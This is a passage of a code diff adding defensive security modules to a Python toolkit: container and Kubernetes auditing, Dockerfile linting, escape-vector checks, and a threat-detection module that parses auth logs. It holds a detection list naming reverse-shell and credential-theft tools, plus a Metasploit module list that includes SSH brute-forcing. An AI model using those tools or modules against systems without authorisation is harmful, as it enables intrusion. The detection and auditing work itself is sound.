"{key}" looks like a secret. Use --secret instead.', + }) + + # apt-get without --no-install-recommends + if 'apt-get install' in line and '--no-install-recommends' not in line: + findings.append({ + 'rule': 'DL006', 'line': i, + 'severity': DOCKERFILE_RULES['DL006']['severity'], + 'title': DOCKERFILE_RULES['DL006']['title'], + 'detail': f'Line {i}: add --no-install-recommends to reduce image size.', + }) + + # COPY/ADD of sensitive files + if upper.startswith('COPY ') or upper.startswith('ADD '): + if SENSITIVE_FILE_PATTERNS.search(line): + findings.append({ + 'rule': 'DL009', 'line': i, + 'severity': DOCKERFILE_RULES['DL009']['severity'], + 'title': DOCKERFILE_RULES['DL009']['title'], + 'detail': f'Line {i}: copying potentially sensitive file into image.', + }) + + # sudo in RUN + if upper.startswith('RUN ') and 'sudo ' in line: + findings.append({ + 'rule': 'DL010', 'line': i, + 'severity': DOCKERFILE_RULES['DL010']['severity'], + 'title': DOCKERFILE_RULES['DL010']['title'], + 'detail': f'Line {i}: avoid sudo in Dockerfiles.', + }) + + # Consecutive RUN + if upper.startswith('RUN '): + consecutive_run += 1 + if consecutive_run > max_consecutive_run: + max_consecutive_run = consecutive_run + else: + consecutive_run = 0 + + # Post-scan checks + if not has_user: + findings.append({ + 'rule': 'DL002', 'line': 0, + 'severity': DOCKERFILE_RULES['DL002']['severity'], + 'title': DOCKERFILE_RULES['DL002']['title'], + 'detail': 'No USER directive found. Container will run as root.', + }) + + if not has_healthcheck: + findings.append({ + 'rule': 'DL005', 'line': 0, + 'severity': DOCKERFILE_RULES['DL005']['severity'], + 'title': DOCKERFILE_RULES['DL005']['title'], + 'detail': 'No HEALTHCHECK instruction. Add one for orchestration.', + }) + + if max_consecutive_run >= 3: + findings.append({ + 'rule': 'DL011', 'line': 0, + 'severity': DOCKERFILE_RULES['DL011']['severity'], + 'title': DOCKERFILE_RULES['DL011']['title'], + 'detail': f'{max_consecutive_run} consecutive RUN commands. Chain with && to reduce layers.', + }) + + # Check for missing cache cleanup + if 'apt-get install' in content and 'rm -rf /var/lib/apt/lists' not in content: + findings.append({ + 'rule': 'DL007', 'line': 0, + 'severity': DOCKERFILE_RULES['DL007']['severity'], + 'title': DOCKERFILE_RULES['DL007']['title'], + 'detail': 'apt-get install used without cleaning /var/lib/apt/lists/*.', + }) + + self._results['dockerfile_lints'] = findings + self._save_results() + return findings + + # ── Container Escape Detection ─────────────────────────────────────────── + + def check_escape_vectors(self, container_id: str) -> dict: + """Check for container escape possibilities.""" + info = self.inspect_container(container_id) + if 'error' in info: + return info + + vectors = [] + + def vec(name, risk, exploitable, detail): + vectors.append({ + 'vector': name, + 'risk': risk, + 'exploitable': exploitable, + 'detail': detail, + }) + + # 1. Privileged mode — full escape + if info['privileged']: + vec('Privileged Mode', 'critical', True, + 'Container has full access to host devices and kernel. ' + 'Trivial escape via mounting host filesystem.') + + # 2. Docker socket mount + sock_mounted = any( + '/var/run/docker.sock' in m.get('source', '') or + '/run/docker.sock' in m.get('source', '') + for m in info['mounts'] + ) + if sock_mounted: + vec('Docker Socket Mount', 'critical', True, + 'Docker socket mounted inside container. Attacker can spawn ' + 'privileged containers on the host.') + + # 3. SYS_ADMIN capability + if 'SYS_ADMIN' in info.get('cap_add', []): + vec('SYS_ADMIN Capability', 'high', True, + 'SYS_ADMIN allows mounting filesystems, modifying cgroups. ' + 'Combined with other misconfigs, can lead to escape.') + + # 4. SYS_PTRACE capability + if 'SYS_PTRACE' in info.get('cap_add', []): + vec('SYS_PTRACE Capability', 'high', True, + 'SYS_PTRACE allows process injection and debugging. ' + 'Can be used to escape via process injection into host PID.') + + # 5. Host PID namespace + if info.get('pid_mode') == 'host': + vec('Host PID Namespace', 'high', True, + 'Container shares PID namespace with host. Processes visible ' + 'and injectable from container.') + + # 6. Host network namespace + if info.get('network_mode') == 'host': + vec('Host Network Namespace', 'medium', False, + 'Container shares host network stack. Can sniff host traffic ' + 'and access services on localhost.') + + # 7. /proc write access + proc_mounted = any( + m.get('destination', '').startswith('/proc') and m.get('rw', True) + for m in info['mounts'] + ) + if proc_mounted: + vec('/proc Write Access', 'high', True, + 'Writable /proc mount can enable kernel parameter modification ' + 'and cgroup escape techniques.') + + # 8. Kernel version (check for known container escape CVEs) + ok, uname = self._run('uname -r 2>/dev/null') + if ok and uname: + kernel = uname.strip() + # Known vulnerable kernel ranges (simplified check) + vec('Kernel Version', 'info', False, + f'Host kernel: {kernel}. Check against CVE-2022-0185, ' + f'CVE-2022-0847 (DirtyPipe), CVE-2021-22555.') + + # 9. Cgroup escape + if info['privileged'] or 'SYS_ADMIN' in info.get('cap_add', []): + vec('Cgroup Escape', 'critical' if info['privileged'] else 'high', True, + 'Privileged + cgroup v1 release_agent technique enables full ' + 'host command execution.') + + # 10. Seccomp disabled + if any('seccomp=unconfined' in opt for opt in info.get('security_opt', [])): + vec('Seccomp Disabled', 'medium', False, + 'No seccomp filter. All syscalls available including ' + 'those needed for escape techniques.') + + # 11. AppArmor disabled + if any('apparmor=unconfined' in opt for opt in info.get('security_opt', [])): + vec('AppArmor Disabled', 'medium', False, + 'No AppArmor confinement. Reduced protection against ' + 'filesystem and network abuse.') + + risk_score = 0 + for v in vectors: + w = {'critical': 40, 'high': 25, 'medium': 10, 'low': 5, 'info': 0} + risk_score += w.get(v['risk'], 0) + risk_score = min(risk_score, 100) + + result = { + 'container_id': container_id, + 'name': info.get('name', ''), + 'vectors': vectors, + 'risk_score': risk_score, + 'total_vectors': len(vectors), + 'exploitable': sum(1 for v in vectors if v['exploitable']), + } + + self._results['escape_checks'][container_id] = result + self._save_results() + return result + + # ── Kubernetes Operations ──────────────────────────────────────────────── + + def _kubectl(self, args: str, timeout: int = 30) -> tuple: + kubectl = find_tool('kubectl') + if not kubectl: + return False, 'kubectl not found' + return self._run(f'"{kubectl}" {args}', timeout=timeout) + + def _kubectl_json(self, args: str, timeout: int = 30) -> tuple: + kubectl = find_tool('kubectl') + if not kubectl: + return False, 'kubectl not found' + return self._run_json(f'"{kubectl}" {args} -o json', timeout=timeout) + + def k8s_get_namespaces(self) -> list: + """List Kubernetes namespaces.""" + ok, data = self._kubectl_json('get namespaces') + if not ok: + return [] + namespaces = [] + for item in data.get('items', []): + meta = item.get('metadata', {}) + namespaces.append({ + 'name': meta.get('name', ''), + 'status': item.get('status', {}).get('phase', ''), + 'age': meta.get('creationTimestamp', ''), + }) + return namespaces + + def k8s_get_pods(self, namespace: str = 'default') -> list: + """List pods in a namespace.""" + ok, data = self._kubectl_json(f'get pods -n {namespace}') + if not ok: + return [] + pods = [] + for item in data.get('items', []): + meta = item.get('metadata', {}) + spec = item.get('spec', {}) + status = item.get('status', {}) + containers = [c.get('name', '') for c in spec.get('containers', [])] + pod_status = status.get('phase', 'Unknown') + conditions = status.get('conditions', []) + ready = any(c.get('type') == 'Ready' and c.get('status') == 'True' + for c in conditions) + pods.append({ + 'name': meta.get('name', ''), + 'namespace': meta.get('namespace', namespace), + 'status': pod_status, + 'ready': ready, + 'containers': containers, + 'node': spec.get('nodeName', ''), + 'age': meta.get('creationTimestamp', ''), + 'restart_count': sum( + cs.get('restartCount', 0) + for cs in status.get('containerStatuses', []) + ), + }) + return pods + + def k8s_audit_rbac(self, namespace: Optional[str] = None) -> dict: + """Audit RBAC for overly permissive bindings.""" + findings = [] + + # Cluster role bindings + ok, data = self._kubectl_json('get clusterrolebindings') + if ok: + for item in data.get('items', []): + meta = item.get('metadata', {}) + role_ref = item.get('roleRef', {}) + subjects = item.get('subjects', []) + + if role_ref.get('name') == 'cluster-admin': + for subj in subjects: + findings.append({ + 'severity': 'critical', + 'type': 'cluster-admin binding', + 'binding': meta.get('name', ''), + 'subject': f'{subj.get("kind", "")}/{subj.get("name", "")}', + 'detail': 'cluster-admin grants full cluster access', + }) + + # Check for wildcard permissions in cluster roles + ok, data = self._kubectl_json('get clusterroles') + if ok: + for item in data.get('items', []): + meta = item.get('metadata', {}) + role_name = meta.get('name', '') + for rule in item.get('rules', []): + verbs = rule.get('verbs', []) + resources = rule.get('resources', []) + api_groups = rule.get('apiGroups', []) + if '*' in verbs and '*' in resources: + findings.append({ + 'severity': 'high', + 'type': 'wildcard permissions', + 'binding': role_name, + 'subject': '', + 'detail': f'Role "{role_name}" has wildcard verbs and resources ' + f'on apiGroups: {api_groups}', + }) + + # Check service account token automount + ns_flag = f'-n {namespace}' if namespace else '--all-namespaces' + ok, data = self._kubectl_json(f'get serviceaccounts {ns_flag}') + if ok: + for item in data.get('items', []): + meta = item.get('metadata', {}) + automount = item.get('automountServiceAccountToken', True) + if automount and meta.get('name') != 'default': + findings.append({ + 'severity': 'low', + 'type': 'token automount', + 'binding': meta.get('name', ''), + 'subject': f'namespace/{meta.get("namespace", "")}', + 'detail': f'SA "{meta.get("name")}" has automountServiceAccountToken enabled', + }) + + result = {'findings': findings, 'total': len(findings)} + self._results['k8s_audits']['rbac'] = result + self._save_results() + return result + + def k8s_check_secrets(self, namespace: str = 'default') -> dict: + """Check for exposed or unencrypted secrets.""" + findings = [] + + ok, data = self._kubectl_json(f'get secrets -n {namespace}') + if not ok: + return {'error': 'Cannot list secrets', 'findings': []} + + for item in data.get('items', []): + meta = item.get('metadata', {}) + secret_type = item.get('type', '') + secret_name = meta.get('name', '') + data_keys = list((item.get('data') or {}).keys()) + + # Check for default token (legacy, pre-1.24) + if secret_type == 'kubernetes.io/service-account-token': + findings.append({ + 'severity': 'info', + 'name': secret_name, + 'type': secret_type, + 'detail': f'SA token secret with keys: {", ".join(data_keys)}', + }) + + # Check for Opaque secrets with suspicious names + if secret_type == 'Opaque': + for key in data_keys: + if SECRET_PATTERNS.search(key): + findings.append({ + 'severity': 'medium', + 'name': secret_name, + 'type': secret_type, + 'detail': f'Key "{key}" may contain credentials', + }) + + # Check which pods mount secrets + ok, pod_data = self._kubectl_json(f'get pods -n {namespace}') + if ok: + for pod in pod_data.get('items', []): + pod_name = pod.get('metadata', {}).get('name', '') + volumes = pod.get('spec', {}).get('volumes', []) + for vol in volumes: + if vol.get('secret'): + findings.append({ + 'severity': 'info', + 'name': vol['secret'].get('secretName', ''), + 'type': 'mounted', + 'detail': f'Secret mounted in pod "{pod_name}"', + }) + + result = {'findings': findings, 'total': len(findings), 'namespace': namespace} + self._results['k8s_audits']['secrets'] = result + self._save_results() + return result + + def k8s_check_network_policies(self, namespace: str = 'default') -> dict: + """Check if network policies exist and find unprotected pods.""" + findings = [] + + ok, data = self._kubectl_json(f'get networkpolicies -n {namespace}') + policies = data.get('items', []) if ok else [] + + if not policies: + findings.append({ + 'severity': 'high', + 'type': 'no_policies', + 'detail': f'No NetworkPolicies found in namespace "{namespace}". ' + f'All pod-to-pod traffic is allowed.', + }) + return {'findings': findings, 'total': 1, 'namespace': namespace, + 'policy_count': 0, 'unprotected_pods': []} + + # Collect pod selectors covered by policies + covered_labels = set() + for pol in policies: + spec = pol.get('spec', {}) + selector = spec.get('podSelector', {}) + match_labels = selector.get('matchLabels', {}) + if not match_labels: + covered_labels.add('__all__') + else: + for k, v in match_labels.items(): + covered_labels.add(f'{k}={v}') + + # Check pods without matching policies + unprotected = [] + if '__all__' not in covered_labels: + ok, pod_data = self._kubectl_json(f'get pods -n {namespace}') + if ok: + for pod in pod_data.get('items', []): + meta = pod.get('metadata', {}) + labels = meta.get('labels', {}) + pod_labels = {f'{k}={v}' for k, v in labels.items()} + if not pod_labels.intersection(covered_labels): + unprotected.append(meta.get('name', '')) + + if unprotected: + findings.append({ + 'severity': 'medium', + 'type': 'unprotected_pods', + 'detail': f'{len(unprotected)} pod(s) not covered by any NetworkPolicy', + }) + + result = { + 'findings': findings, + 'total': len(findings), + 'namespace': namespace, + 'policy_count': len(policies), + 'unprotected_pods': unprotected, + } + self._results['k8s_audits']['network_policies'] = result + self._save_results() + return result + + def k8s_audit_pod(self, pod_name: str, namespace: str = 'default') -> dict: + """Security audit of a Kubernetes pod.""" + ok, data = self._kubectl_json(f'get pod {pod_name} -n {namespace}') + if not ok: + return {'error': f'Cannot get pod {pod_name}'} + + spec = data.get('spec', {}) + findings = [] + passed = 0 + total = 0 + + def check(name, ok, detail='', severity='medium'): + nonlocal passed, total + total += 1 + if ok: + passed += 1 + findings.append({ + 'check': name, + 'status': 'pass' if ok else 'fail', + 'severity': severity if not ok else 'info', + 'detail': detail, + }) + + # Host namespaces + check('Host Network', + not spec.get('hostNetwork', False), + 'Pod uses host network namespace!' if spec.get('hostNetwork') else 'Isolated', + severity='high') + check('Host PID', + not spec.get('hostPID', False), + 'Pod uses host PID namespace!' if spec.get('hostPID') else 'Isolated', + severity='high') + check('Host IPC', + not spec.get('hostIPC', False), + 'Pod uses host IPC namespace!' if spec.get('hostIPC') else 'Isolated', + severity='high') + + # Per-container checks + for container in spec.get('containers', []): + c_name = container.get('name', 'unknown') + sec_ctx = container.get('securityContext', {}) + + # Privileged + priv = sec_ctx.get('privileged', False) + check(f'{c_name}: Privileged', + not priv, + 'Container is privileged!' if priv else 'Not privileged', + severity='critical') + + # Run as root + run_as_user = sec_ctx.get('runAsUser') + run_as_non_root = sec_ctx.get('runAsNonRoot', False) + is_root = run_as_user == 0 or (run_as_user is None and not run_as_non_root) + check(f'{c_name}: Root User', + not is_root, + f'Runs as UID {run_as_user}' if run_as_user and run_as_user != 0 + else ('runAsNonRoot=true' if run_as_non_root else 'May run as root'), + severity='medium') + + # Read-only root filesystem + ro = sec_ctx.get('readOnlyRootFilesystem', False) + check(f'{c_name}: Read-only Rootfs', + ro, + 'Root filesystem is read-only' if ro else 'Writable root filesystem', + severity='low') + + # Resource limits + resources = container.get('resources', {}) + limits = resources.get('limits', {}) + has_limits = bool(limits.get('memory') or limits.get('cpu')) + check(f'{c_name}: Resource Limits', + has_limits, + f'Limits: {limits}' if has_limits else 'No resource limits set', + severity='medium') + + # Capabilities + caps = sec_ctx.get('capabilities', {}) + cap_add = caps.get('add', []) + dangerous = [c for c in cap_add if c in DANGEROUS_CAPS] + all_dropped = 'ALL' in caps.get('drop', []) + check(f'{c_name}: Capabilities', + len(dangerous) == 0 and (all_dropped or not cap_add), + f'Dangerous caps: {", ".join(dangerous)}' if dangerous + else ('All capabilities dropped' if all_dropped else 'Default capabilities'), + severity='high' if dangerous else 'info') + + # Privilege escalation + allow_escalation = sec_ctx.get('allowPrivilegeEscalation', True) + check(f'{c_name}: Privilege Escalation', + not allow_escalation, + 'allowPrivilegeEscalation=true' if allow_escalation + else 'Privilege escalation disabled', + severity='medium') + + # Service account + sa = spec.get('serviceAccountName', 'default') + automount = spec.get('automountServiceAccountToken', True) + check('Service Account', + sa != 'default' or not automount, + f'SA: {sa}, automount: {automount}', + severity='low') + + score = int((passed / total) * 100) if total > 0 else 0 + result = { + 'pod': pod_name, + 'namespace': namespace, + 'score': score, + 'passed': passed, + 'total': total, + 'findings': findings, + } + self._results['k8s_audits'][f'pod:{namespace}/{pod_name}'] = result + self._save_results() + return result + + # ── Export ──────────────────────────────────────────────────────────────── + + def export_results(self, fmt: str = 'json') -> dict: + """Export all audit results.""" + self._results['timestamp'] = datetime.utcnow().isoformat() + if fmt == 'json': + path = self._data_dir / f'container_sec_export_{int(time.time())}.json' + with open(path, 'w') as f: + json.dump(self._results, f, indent=2, default=str) + return {'path': str(path), 'format': 'json', 'success': True} + return {'error': f'Unsupported format: {fmt}'} + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None + + +def get_container_sec() -> ContainerSecurity: + global _instance + if _instance is None: + _instance = ContainerSecurity() + return _instance + + +# ── CLI Entry Point ────────────────────────────────────────────────────────── + +def run(): + """CLI entry point for Container Security module.""" + cs = get_container_sec() + + while True: + print(f"\n{'='*60}") + print(f" Container Security") + print(f"{'='*60}") + print() + print(" 1 — Audit Docker Host") + print(" 2 — List Containers") + print(" 3 — Audit Container") + print(" 4 — Scan Image") + print(" 5 — Lint Dockerfile") + print(" 6 — K8s Pods") + print(" 7 — K8s RBAC Audit") + print(" 0 — Back") + print() + + choice = input(" > ").strip() + + if choice == '0': + break + + elif choice == '1': + print("\n [*] Auditing Docker host...") + findings = cs.audit_docker_host() + if not findings: + print(" [-] No findings.") + for f in findings: + sev = f.get('severity', 'info').upper() + status = f.get('status', 'info').upper() + color = {'CRITICAL': Colors.RED, 'HIGH': Colors.RED, + 'MEDIUM': Colors.YELLOW, 'LOW': Colors.CYAN, + 'INFO': Colors.GREEN}.get(sev, Colors.WHITE) + print(f" {color}[{sev}]{Colors.RESET} {f['check']}: {f['detail']}") + + elif choice == '2': + containers = cs.list_containers(all=True) + if not containers: + print(" [-] No containers found.") + else: + print(f"\n {'ID':<14} {'Name':<25} {'Image':<30} {'Status':<15}") + print(f" {'-'*14} {'-'*25} {'-'*30} {'-'*15}") + for c in containers: + print(f" {c['id']:<14} {c['name']:<25} {c['image']:<30} {c['status']:<15}") + + elif choice == '3': + cid = input(" Container ID or name: ").strip() + if cid: + print(f"\n [*] Auditing container {cid}...") + result = cs.audit_container(cid) + if 'error' in result: + print(f" [!] {result['error']}") + else: + print(f"\n Security Score: {result['score']}% ({result['passed']}/{result['total']})") + for f in result['findings']: + sym = '+' if f['status'] == 'pass' else '!' + color = Colors.GREEN if f['status'] == 'pass' else Colors.YELLOW + print(f" {color}[{sym}]{Colors.RESET} {f['check']}: {f['detail']}") + + elif choice == '4': + img = input(" Image name (e.g., nginx:latest): ").strip() + if img: + print(f"\n [*] Scanning {img} for vulnerabilities...") + result = cs.scan_image(img) + if result.get('error'): + print(f" [!] {result['error']}") + else: + s = result.get('summary', {}) + print(f" Scanner: {result.get('scanner', '?')}") + print(f" Total: {result.get('total', 0)} vulnerabilities") + print(f" Critical: {s.get('CRITICAL', 0)} High: {s.get('HIGH', 0)} " + f"Medium: {s.get('MEDIUM', 0)} Low: {s.get('LOW', 0)}") + for v in result.get('vulnerabilities', [])[:20]: + print(f" {v['severity']:<8} {v['cve']:<18} {v['package']:<20} " + f"{v['installed_version']} -> {v.get('fixed_version', 'n/a')}") + + elif choice == '5': + path = input(" Path to Dockerfile: ").strip() + if path and os.path.isfile(path): + with open(path) as f: + content = f.read() + findings = cs.lint_dockerfile(content) + if not findings: + print(" [+] No issues found.") + else: + print(f"\n Found {len(findings)} issue(s):") + for f in findings: + sev = f.get('severity', 'info').upper() + line = f"line {f['line']}" if f.get('line') else 'general' + print(f" [{sev}] {f['rule']}: {f['title']} ({line})") + print(f" {f['detail']}") + else: + print(" [!] File not found.") + + elif choice == '6': + ns = input(" Namespace (default): ").strip() or 'default' + pods = cs.k8s_get_pods(namespace=ns) + if not pods: + print(" [-] No pods found.") + else: + print(f"\n {'Name':<35} {'Status':<12} {'Node':<20} {'Restarts':<10}") + print(f" {'-'*35} {'-'*12} {'-'*20} {'-'*10}") + for p in pods: + print(f" {p['name']:<35} {p['status']:<12} {p['node']:<20} {p['restart_count']:<10}") + + elif choice == '7': + ns = input(" Namespace (blank for all): ").strip() or None + print("\n [*] Auditing RBAC...") + result = cs.k8s_audit_rbac(namespace=ns) + if not result.get('findings'): + print(" [+] No RBAC issues found.") + else: + print(f" Found {result['total']} issue(s):") + for f in result['findings']: + sev = f.get('severity', 'info').upper() + print(f" [{sev}] {f['type']}: {f.get('binding', '')} — {f['detail']}") diff --git a/modules/counter.py b/modules/counter.py new file mode 100644 index 0000000..57a0a98 --- /dev/null +++ b/modules/counter.py @@ -0,0 +1,1027 @@ +""" +AUTARCH Counter Module +Threat detection and incident response + +Monitors system for suspicious activity and potential threats. +""" + +import os +import sys +import subprocess +import re +import socket +import json +import time +from pathlib import Path +from datetime import datetime, timedelta +from collections import Counter +from dataclasses import dataclass +from typing import Dict, List, Optional, Any + +# Module metadata +DESCRIPTION = "Threat detection & incident response" +AUTHOR = "darkHal" +VERSION = "2.0" +CATEGORY = "counter" + +sys.path.insert(0, str(Path(__file__).parent.parent)) +from core.banner import Colors, clear_screen, display_banner + +# Try to import requests for GeoIP lookup +try: + import requests + REQUESTS_AVAILABLE = True +except ImportError: + requests = None + REQUESTS_AVAILABLE = False + + +@dataclass +class LoginAttempt: + """Information about a login attempt from an IP.""" + ip: str + count: int + last_attempt: Optional[datetime] = None + usernames: List[str] = None + hostname: Optional[str] = None + country: Optional[str] = None + city: Optional[str] = None + isp: Optional[str] = None + geo_data: Optional[Dict] = None + + def __post_init__(self): + if self.usernames is None: + self.usernames = [] + + +# Metasploit recon modules for IP investigation +MSF_RECON_MODULES = [ + { + 'name': 'TCP Port Scan', + 'module': 'auxiliary/scanner/portscan/tcp', + 'description': 'TCP port scanner - scans common ports', + 'options': {'PORTS': '21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080'} + }, + { + 'name': 'SYN Port Scan', + 'module': 'auxiliary/scanner/portscan/syn', + 'description': 'SYN stealth port scanner (requires root)', + 'options': {'PORTS': '21-23,25,53,80,110,139,143,443,445,3306,3389,5900,8080'} + }, + { + 'name': 'SSH Version Scanner', + 'module': 'auxiliary/scanner/ssh/ssh_version', + 'description': 'Detect SSH version and supported algorithms', + 'options': {} + }, + { + 'name': 'SSH Login Check', + 'module': 'auxiliary/scanner/ssh/ssh_login', + 'description': 'Brute force SSH login (requires wordlists)', + 'options': {} + }, + { + 'name': 'SMB Version Scanner', + 'module': 'auxiliary/scanner/smb/smb_version', + 'description': 'Detect SMB version and OS information', + 'options': {} + }, + { + 'name': 'SMB Share Enumeration', + 'module': 'auxiliary/scanner/smb/smb_enumshares', + 'description': 'Enumerate available SMB shares', + 'options': {} + }, + { + 'name': 'HTTP Version Scanner', + 'module': 'auxiliary/scanner/http/http_version', + 'description': 'Detect HTTP server version', + 'options': {} + }, + { + 'name': 'FTP Version Scanner', + 'module': 'auxiliary/scanner/ftp/ftp_version', + 'description': 'Detect FTP server version', + 'options': {} + }, + { + 'name': 'Telnet Version Scanner', + 'module': 'auxiliary/scanner/telnet/telnet_version', + 'description': 'Detect Telnet banner and version', + 'options': {} + }, + { + 'name': 'SNMP Enumeration', + 'module': 'auxiliary/scanner/snmp/snmp_enum', + 'description': 'Enumerate SNMP information', + 'options': {} + }, + { + 'name': 'RDP Scanner', + 'module': 'auxiliary/scanner/rdp/rdp_scanner', + 'description': 'Detect RDP service', + 'options': {} + }, + { + 'name': 'MySQL Version Scanner', + 'module': 'auxiliary/scanner/mysql/mysql_version', + 'description': 'Detect MySQL server version', + 'options': {} + }, + { + 'name': 'VNC None Auth Scanner', + 'module': 'auxiliary/scanner/vnc/vnc_none_auth', + 'description': 'Check for VNC servers with no authentication', + 'options': {} + }, +] + + +class Counter: + """Threat detection and response.""" + + def __init__(self): + self.threats = [] + self.login_attempts: Dict[str, LoginAttempt] = {} + self._init_session() + + def _init_session(self): + """Initialize HTTP session for GeoIP lookups.""" + self.session = None + if REQUESTS_AVAILABLE: + self.session = requests.Session() + adapter = requests.adapters.HTTPAdapter(max_retries=2) + self.session.mount('https://', adapter) + self.session.mount('http://', adapter) + self.session.headers.update({ + 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36' + }) + + def print_status(self, message: str, status: str = "info"): + colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED} + symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"} + print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}") + + def alert(self, category: str, message: str, severity: str = "medium"): + """Record a threat alert.""" + self.threats.append({"category": category, "message": message, "severity": severity}) + color = Colors.RED if severity == "high" else Colors.YELLOW if severity == "medium" else Colors.CYAN + print(f"{color}[ALERT] {category}: {message}{Colors.RESET}") + + def run_cmd(self, cmd: str) -> tuple: + try: + result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=30) + return result.returncode == 0, result.stdout.strip() + except: + return False, "" + + def get_hostname(self, ip: str) -> Optional[str]: + """Resolve IP to hostname via reverse DNS.""" + try: + hostname, _, _ = socket.gethostbyaddr(ip) + return hostname + except (socket.herror, socket.gaierror, socket.timeout): + return None + + def get_geoip(self, ip: str) -> Optional[Dict]: + """Get geolocation data for an IP address.""" + if not self.session: + return None + + # Skip private/local IPs + if ip.startswith('127.') or ip.startswith('192.168.') or ip.startswith('10.') or ip.startswith('172.'): + return {'country': 'Local', 'city': 'Private Network', 'isp': 'N/A'} + + try: + # Try ipwho.is first + response = self.session.get(f"https://ipwho.is/{ip}", timeout=5) + if response.status_code == 200: + data = response.json() + if data.get('success', True): + return { + 'country': data.get('country', 'Unknown'), + 'country_code': data.get('country_code', ''), + 'region': data.get('region', ''), + 'city': data.get('city', 'Unknown'), + 'latitude': data.get('latitude'), + 'longitude': data.get('longitude'), + 'isp': data.get('connection', {}).get('isp', 'Unknown'), + 'org': data.get('connection', {}).get('org', ''), + 'asn': data.get('connection', {}).get('asn', ''), + } + except Exception: + pass + + try: + # Fallback to ipinfo.io + response = self.session.get(f"https://ipinfo.io/{ip}/json", timeout=5) + if response.status_code == 200: + data = response.json() + loc = data.get('loc', ',').split(',') + lat = float(loc[0]) if len(loc) > 0 and loc[0] else None + lon = float(loc[1]) if len(loc) > 1 and loc[1] else None + return { + 'country': data.get('country', 'Unknown'), + 'country_code': data.get('country'), + 'region': data.get('region', ''), + 'city': data.get('city', 'Unknown'), + 'latitude': lat, + 'longitude': lon, + 'isp': data.get('org', 'Unknown'), + 'org': data.get('org', ''), + } + except Exception: + pass + + return None + + def parse_auth_logs(self) -> Dict[str, LoginAttempt]: + """Parse authentication logs and extract failed login attempts.""" + attempts: Dict[str, LoginAttempt] = {} + raw_log_lines = [] + + # Try different log locations + log_files = [ + '/var/log/auth.log', + '/var/log/secure', + '/var/log/messages', + ] + + log_content = "" + for log_file in log_files: + success, output = self.run_cmd(f"cat {log_file} 2>/dev/null") + if success and output: + log_content = output + break + + if not log_content: + return attempts + + # Parse log entries for failed attempts + # Common patterns: + # "Failed password for root from 192.168.1.100 port 22 ssh2" + # "Failed password for invalid user admin from 192.168.1.100 port 22" + # "Invalid user admin from 192.168.1.100 port 22" + # "Connection closed by authenticating user root 192.168.1.100 port 22 [preauth]" + + patterns = [ + # Failed password for user from IP + r'(\w{3}\s+\d+\s+[\d:]+).*Failed password for (?:invalid user )?(\S+) from (\d+\.\d+\.\d+\.\d+)', + # Invalid user from IP + r'(\w{3}\s+\d+\s+[\d:]+).*Invalid user (\S+) from (\d+\.\d+\.\d+\.\d+)', + # Connection closed by authenticating user + r'(\w{3}\s+\d+\s+[\d:]+).*Connection closed by (?:authenticating user )?(\S+) (\d+\.\d+\.\d+\.\d+)', + # pam_unix authentication failure + r'(\w{3}\s+\d+\s+[\d:]+).*pam_unix.*authentication failure.*ruser=(\S*) rhost=(\d+\.\d+\.\d+\.\d+)', + ] + + for line in log_content.split('\n'): + if 'failed' in line.lower() or 'invalid user' in line.lower() or 'authentication failure' in line.lower(): + raw_log_lines.append(line) + + for pattern in patterns: + match = re.search(pattern, line, re.IGNORECASE) + if match: + timestamp_str, username, ip = match.groups() + username = username if username else 'unknown' + + # Parse timestamp (assuming current year) + try: + current_year = datetime.now().year + timestamp = datetime.strptime(f"{current_year} {timestamp_str}", "%Y %b %d %H:%M:%S") + except ValueError: + timestamp = None + + if ip not in attempts: + attempts[ip] = LoginAttempt(ip=ip, count=0) + + attempts[ip].count += 1 + if timestamp: + if attempts[ip].last_attempt is None or timestamp > attempts[ip].last_attempt: + attempts[ip].last_attempt = timestamp + if username not in attempts[ip].usernames: + attempts[ip].usernames.append(username) + + break + + # Store raw logs for later viewing + self._raw_auth_logs = raw_log_lines + + return attempts + + def enrich_login_attempts(self, attempts: Dict[str, LoginAttempt], show_progress: bool = True): + """Enrich login attempts with GeoIP and hostname data.""" + total = len(attempts) + for i, (ip, attempt) in enumerate(attempts.items()): + if show_progress: + print(f"\r{Colors.CYAN}[*] Enriching IP data... {i+1}/{total}{Colors.RESET}", end='', flush=True) + + # Get hostname + attempt.hostname = self.get_hostname(ip) + + # Get GeoIP data + geo_data = self.get_geoip(ip) + if geo_data: + attempt.country = geo_data.get('country') + attempt.city = geo_data.get('city') + attempt.isp = geo_data.get('isp') + attempt.geo_data = geo_data + + if show_progress: + print() # New line after progress + + def check_suspicious_processes(self): + """Look for suspicious processes.""" + print(f"\n{Colors.BOLD}Scanning for Suspicious Processes...{Colors.RESET}\n") + + # Known malicious process names + suspicious_names = [ + "nc", "ncat", "netcat", "socat", # Reverse shells + "msfconsole", "msfvenom", "meterpreter", # Metasploit + "mimikatz", "lazagne", "pwdump", # Credential theft + "xmrig", "minerd", "cgminer", # Cryptominers + "tor", "proxychains", # Anonymizers + ] + + success, output = self.run_cmd("ps aux") + if not success: + self.print_status("Failed to get process list", "error") + return + + found = [] + for line in output.split('\n')[1:]: + parts = line.split() + if len(parts) >= 11: + proc_name = parts[10].split('/')[-1] + for sus in suspicious_names: + if sus in proc_name.lower(): + found.append((parts[1], proc_name, parts[0])) # PID, name, user + + if found: + for pid, name, user in found: + self.alert("Suspicious Process", f"PID {pid}: {name} (user: {user})", "high") + else: + self.print_status("No known suspicious processes found", "success") + + # Check for hidden processes (comparing ps and /proc) + success, ps_pids = self.run_cmd("ps -e -o pid=") + if success: + ps_set = set(ps_pids.split()) + proc_pids = set(p.name for p in Path("/proc").iterdir() if p.name.isdigit()) + hidden = proc_pids - ps_set + if hidden: + self.alert("Hidden Process", f"PIDs not in ps output: {', '.join(list(hidden)[:5])}", "high") + + def check_network_connections(self): + """Analyze network connections for anomalies.""" + print(f"\n{Colors.BOLD}Analyzing Network Connections...{Colors.RESET}\n") + + success, output = self.run_cmd("ss -tunap 2>/dev/null || netstat -tunap 2>/dev/null") + if not success: + self.print_status("Failed to get network connections", "error") + return + + suspicious_ports = { + 4444: "Metasploit default", + 5555: "Common backdoor", + 